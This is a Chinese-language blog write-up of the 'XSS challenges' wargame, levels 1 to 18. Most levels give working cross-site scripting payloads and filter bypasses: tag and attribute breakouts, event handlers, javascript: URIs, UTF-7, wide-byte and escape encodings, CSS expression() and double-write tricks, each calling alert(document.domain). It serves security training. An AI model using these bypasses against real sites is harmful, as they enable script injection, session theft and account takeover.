alert...">
美文网首页
Xss challenges

Xss challenges

作者: _return_ | 来源:发表于2018-04-27 21:21 被阅读42次

    <script> alert(document.domain)</script>

    xss challenge

    2:

    <input name="p1" size="50" value="233" type="text">
    payload:
    "><script> alert(document.domain);</script><"
    " onmouseover=alert(document.domain)>

    3:

    <b>"23333"</b>
    尝试:
    2333"</b><script> alert(document.domain)</script><b>
    发现不行
    变成了这样:

    <hr class=red>We couldn't find any places called <b>"2333"</b><script> alert(document.domain)</script><b> "</b> in <b>Japan</b>.<hr class=red></form>
    <span id="msg" style="display:none"></span>
    <p>



    < >被转译了
    抓包之后:
    p1=2333%22%3C%2Fb%3E%3Cscript%3E+alert%28document.domain%29%3C%2Fscript%3E%3Cb%3E+&p2=Japan
    发现p1被改,p2没有
    改p2:
    payload: p2=China<script> alert(document.domain)</script>

    4:

    抓包:p1输入: 123<>:"
    出来:
    p1=123%3C%3E%3A%22&p2=Japan&p3=hackme
    一看这个p3那么嚣张
    p3=<script> alert(document.domain)</script>
    没成功,查看代码:
    <input name="p3" value="p3=<script> alert(document.domain)</script>" type="hidden">
    闭合一下:
    <input name="p3" value="p3=2333"><script> alert(document.domain)</script>" type="hidden">
    payload:

    p3=2333"><script> alert(document.domain)</script>

    5:

    <input name="p1" maxlength="15" size="30" value="2333" type="text">
    发现长度受到限制,抓包都不用,直接在查看器里改数据,把长度受限改掉

    6

    照常输入,发现<>被过滤,而且没有其他输入点,那就,换个不要尖括号的好了

    payload:
    " onclick=alert(document.domain) "
    或者找个好记忆的ID
    "onclick=alert(document.domain) id="2333

    7:

    和#6差不多,过滤"< >
    payload:
    " onclick=alert(document.domain) id="aaa 反正不影响
    2333 onmouseover=alert(document.domain);

    8:

    <a href="3333">3333</a>
    既然变成了链接,那就正好伪协议
    payload:
    javascript:alert(document.domain)

    9:

    "<>都被转义了,当然也不能用onmouseover和onclick,根据提示,用UTF-7编码解码工具,将" onmousemove="alert(document.domain)转为UTF-7编码:
    p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
    好像IE才行,别的都能修复了
    那就不管了

    10:

    把domain过滤了
    "><script> alert(document.dodomainmain)</script><
    那就重复一下,术语好像是:双写绕过
    

    11:

    1,script会被替换为xscript 
    2,on事件会被替换为onxxx
    3,style会被替换为stxxx

    于是想到可以用<a>标签: "><a href="javascript:alert(document.domain);">here</a><"
    但是,因为对script做了过滤,所以要将script中的某个字符转为unicode编码,或者可以插入 不可见字符
    payload:

    "><a href="javasc&#09ript:alert(document.domain);">here</a><"
    "><a href="javas&#99ript:alert(document.domain);">here</a><"

    这题为什么不用%09 也就是tab,有前辈的猜测:

    %09也就是tab制表符,使用在单个标签之内,会被浏览器正确去除,而在跨标签的时候(也就是闭合前面原有标签,使用在构造者构造的新标签的时候)不会被正确去除。也仅仅是%09,其十进制编码和十六进制编码都不会受影响。
    后面测试发现%0a和%0d一样受到影响。

    12:

    <>"被过滤,根据提示可以知道x00-,x20,<,>,",'都被过滤了,但是还没被过滤,于是可以用加上onclick,onmouseover,onfocus均可,还有一个前提是IE,
    由于IE的特性,或者说浏览器竞争时代百家争鸣导致的结果,会把`解析为引号。

    13:

    提示:style attribute
    在CSS样式中利用expression实现javascript中的onmouseover或onmouseout事件,同样前提是IE
    expression这个语法只存在ie上
    payload:
    expression(onmouseover=function(){alert(document.domain)})
    background-color:#f00;background:url("javascript:alert(document.domain);");
    xss:expr/XSS/ession(alert(document.domain));
    可能是我IE版本高吧...

    14:

    这里过滤了expression,url,eval,script,但是通过加入注释符可绕过:

    here:expre//ssion(onmouseover=function(){alert(document.domain)})
    here:expre/
    /ssion(window.x?0:(alert(document.domain),window.x=1));
    还有几种绕过过滤的方法:加\,加\0,将e转码为\0056

    e->\0056是什么操作?

    15:

    document.write();常用来网页向文档中输出内容
    document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes
    既然这样,那就双杠:
    16进制:
    <svg/onload=alert(document.domain)> --> \x3cscript\x3ealert(document.domain);\x3c/script\x3e
    Unicode编码:
    \u003cscript\u003ealert(document.domain);\u003c/script\u003e

    16:

    把\x 替换成了\\x,但是js编码又不止16进制,还有八进制,unicode编码
    八进制:
    \74img src=x onerror=alert(document.domain)\76
    Unicode:
    \u003cscript\u003ealert(document.domain);\u003c/script\u003e

    17:

    宽字节:简单说,就是构造非法字符集,吃ASCII字符(一字节)
    这里有个闭合引号的例子:
    https://blog.csdn.net/u013648937/article/details/46629827

    xss与字符编码:
    http://su.xmd5.org/static/drops/tips-689.html

    18:

    将每个字符的二进制最高位置为1,然后再转为16进制
    比如:
    < -->16进制
    3C -->2进制
    00111100 -->最高位变成1
    10111100 -->16进制
    bc
    我也不知道为什么要这样,最终变换:

    "><script>alert(document.domain)</scirpt>
    -->
    %A2%BE%BCscript%BEalert(document.domain);%BC/script%BE

    相关文章

      网友评论

          本文标题:Xss challenges

          本文链接:https://www.haomeiwen.com/subject/emgilftx.html